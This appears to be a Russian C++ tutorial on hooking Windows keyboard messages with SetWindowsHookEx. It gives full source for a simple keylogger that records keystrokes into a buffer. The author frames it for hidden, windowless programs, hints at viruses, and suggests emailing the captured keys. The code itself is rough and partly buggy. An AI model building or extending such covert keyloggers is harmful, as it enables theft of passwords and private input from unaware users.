C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 Перехват клавиатуры (Установка дополнительного обработчика клавиатурных сообщений с помощью функции SetWindowsHookEx) / Система / Visual C++

Перехват клавиатуры ( Установка дополнительного обработчика
     клавиатурных сообщений с помощью функции SetWindowsHookEx )

           Данная статья  посвящена перехвату клавиатурных сообщений ( в принципе применима к перехвату
любых системных сообщений Windows ).
    Предоставленный пример демонстрирует пассивный метод обработки сообщений клавиатуры: т.е.
нажатые клавиши просто записываются в буффер. К активному методу обработки сообщений клавиатуры
можно отнести процедуры ,например "СЪЕДАЮЩИЕ" определенные клавиши, как будто они не
работают , и т.п. // выдумка дело легкое.
    Устанавливать перехватчик клавиатуры в "одно/мульти - Оконных" приложениях вобщем то смысла не
имеет. В данной статье речь идет о так называемых невидимых приложениях - драйверы клавиатуры и т.д.
не имеющих собственного окна, не отображающихся в панели задач, вобщем - спрятаных от пользователя.
( О вирусах я ничего не говорил )

Создание каркаса приложения.
                При создании нового проекта выбираем что это будет Win32 Application и называться он будет
к примеру - keyhook.

                В следующем шаге выбираем что это  "Asimple Win32 application"

                Таким образом мы создали пустой каркас приложения , после этого необходимо перейти к
программированию. Для чего перейдем к файлу keyhook.cpp щелкнув на нем 2 раза.

                Содержимое файла keyhook.cpp приведено ниже , комментарии после текста кода.

// 1.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

//глобальные переменные
int mykey(WPARAM,LPARAM);    // объявление процедуры
int a=0;                                           // счетчик символов
char String[256];                               // буфер для строки

LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
 if(lParam>0x8000){ mykey(wParam,lParam);}
 // обрабатываем только когда клавиша нажата (типа WM_KEYDOWN)

 return 0;
}

int mykey(WPARAM wPararam, LPARAM lPararam)
{
 

UINT uScanCode = MapVirtualKey(wPararam,0);   // scan code
BYTE KeyState[256];                                              // key-state array
WORD BufChar;                                                    // buffer for translated key
UINT uFlags=0;                                                       // якобы ?меню? не активно

GetKeyboardState(KeyState); // заносим состояние всех клавиш

if(ToAscii(wPararam,uScanCode,KeyState,&BufChar,uFlags)==1)
// исходя из кода VirtualKey и состояния всех клавиш определяем
// какой символ будет отображаться на экране.

{
    if (char(BufChar)==8) // если нажат BACKSPACE идем назад по буферу
     {
       if(a==0) return 0;
       else a--;return 0;
      }
if(a>40) MessageBox(NULL,String,"hehe",0);
// если было введено больше 40 символов выводим на экран сесь буфер.
  String[a]=char(BufChar);a++;// заносим символ в буфер
  MessageBeep(0xffffffff);// выдаем звук

}

 return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,NULL);
//устанавливаем перехватчик для Клавишных событий

while (1) {;}
// бесконечный цикл программу можно выгрузить только через диспетчер
// задач (Ctrl+Alt+Del)
return 0;
}

Комментарии к коду программы.
                Как видно в главной части программы WinMain присутствует всего две добавленные строчки

* SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,NULL);
     Первый параметр этой функции указывает что перехватываться будут только сообщения от клавиатуры
Второй параметр имя процедуры которая будет вызываться до всех процедур обработки сообщений
клавиатуры.
Третий параметр указатель на INSTANCE приложения (или DLL) которое содержит данную процедуру,
если стоит NULL как здесь то процедура находится в текущем приложении и будет активно пока активно
данное приложение.
Четвертый параметр указывает в цепочку какого приложения следует вставлять процедуру перехвата
если стоит NULL, процедура перехвата будет выполняться для любого приложения запущенного в
системе.
*  Следующий оператор while (1) {;} обеспечивает бесконечный цикл выполнения программы,
Этот оператор обеспечивает условие указаное в третьем параметре предыдущего оператора.
    Замечание 1: запуская программу вы можете покончить с ее жизнедеятельностью только посредством
диспетчера задач который вызывается  по нажатию Ctrl+Alt+Del
надо выбрать имя программы (здесь "1") и нажать кнопку "Снять задачу".
    Замечание 2: данная программа не определяет была ли она уже запущена или нет,
активна она или нет  - т.е. будьте осторожны.

* Функция перехватчика сообщений  клавиатуры должна обязательно иметь следующий формат
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
// ВАШ КОД ЗДЕСЬ
 return 0;
}
Код этой процедуры будет выполняться каждый раз когда нажата или отпущена клавиша
Следующая строчка отсеивает все "Отпускания "клавиш.
 if(lParam>0x8000){ mykey(wParam,lParam);}
это означает что процедура mykey будет выполняться только для системных сообщений
типа WM_KEYDOWN или  WM_SYSKEYDOWN .

Процедура mykey(wParam,lParam) представленная ниже делает следующие действия:

int mykey(WPARAM wPararam, LPARAM lPararam)
{
UINT uScanCode = MapVirtualKey(wPararam,0);
// Вычисляется Скан-код нажатой клавиши.
// все эти данные нужны для функции ToAscii которая
// преобразовывает нажатую клавишу в букву которая будет
// отображаться на экране.
BYTE KeyState[256];
// Массив состояний всех клавиш
//нужны для функции ToAscii
WORD BufChar;
// Буфер в который записывается результат функции ToAscii
UINT uFlags=0;
// Переменная говорящая что "меню" в данный момент якобы не активно
// кто сможет подробнее мне рассказать что это такое скажу спасибо
GetKeyboardState(KeyState);
//функция читающая состояние всех клавиш и заносит данные
//в 256 байтовый массив

if(ToAscii(wPararam,uScanCode,KeyState,&BufChar,uFlags)==1)
// если в буфер записан один символ т.е обыкновенная
//символьная клавиша была нажата
{
    if (char(BufChar)==8)
// если нажат BackSpace уменьшаем указатель
//буфера для строки
     {
       if(a==0) return 0;
       else a--;return 0;
      }
if(a>40) MessageBox(NULL,String,"hehe",0);
// если в буфер записано 40 символов выводим
//содержимое буфера на экран
  String[a]=char(BufChar);
  a++;
  MessageBeep(0xffffffff);
// иначе записываем символ в буффер,увеличиваем указатель буфера ,
//делаем БИП, и идем далее.
}
 return 0;
}

Результат работы программы.
После того как в буфер запишется 40 символов выводится месаджбокс в котором показаны
нажатые клавиши.


Собственно можно буфер сделать побольше , убрать звуковое сопровождения нажатий клавиш,
разобраться в испоьзовании WinSocket ( отправка электронной почты) и ...........
(Про вирусы я ничего не говорил )

Вместо заключения.
* Вот собственно и все, здесь приведены только концепции перехвата системных
 сообщений Windows - остальная работа за   ВАМИ.
* Настоятельно рекомендую установить себе полный MSDN хоть он и занимает
    два компакта но найти там можно практически всю интересующую информацию.
Всю информацию необходимую для написания данного примера я почерпнул
только из MSDN.Обязательно  посмотрите описания для всех используемых здесь функций.

Пример можно скачать и посмотреть здесь
Вопросы, просьбы и пожелания отправляйте по адрессу kozloff@dviyka.odessa.net
С ув. и пожеланием успехов Денис Козлов.